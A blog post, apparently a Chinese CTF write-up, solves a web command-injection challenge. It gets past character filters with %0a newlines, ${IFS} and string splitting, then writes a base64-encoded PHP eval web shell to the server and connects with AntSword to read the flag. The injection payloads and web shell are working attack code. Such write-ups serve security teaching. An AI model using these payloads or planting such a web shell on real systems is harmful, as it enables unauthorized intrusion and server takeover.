竞赛课-WEB5
有一说一,这道题的难度本来没这么高的,直到把flag放到了根目录下。自己挖的坑自己要埋上
先看题目说了什么
1 | <?php |
emmm, 总之就是过滤了’|’, ‘&’, ‘; ‘, ‘空格’,’/‘, ‘cat’, ‘flag’, ‘php’
先是过滤了分号的问题,我们可以用%0a绕过这个(%0a换行)
1 | ?ip=%0als |
好!什么也没看出来
考虑上马,这里选择用base64对一句话木马进行加密
原型
1 | <?php @eval($_POST['attack']);?> |
base64后
1 | PD9waHAgQGV2YWwoJF9QT1NUWydhdHRhY2snXSk7Pz4= |
因为它ban了很多重要的符号,我们就先将base64后的放到txt文件中
1 | ?ip=%0aecho${IFS}"PD9waHAgQGV2YWwoJF9QT1NUWydhdHRhY2snXSk7Pz4=">base64.txt |
访问base64.txt
OK, 下面就把它解密放到php文件中,这里我用拼接的方法绕过php过滤
1 | ?ip=%0aa=p%0ab=hp%0abase64${IFS}-d${IFS}base64.txt>shell.$a$b |
用蚁剑进行连接
成功连接后访问根目录
获得flag
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 L!
评论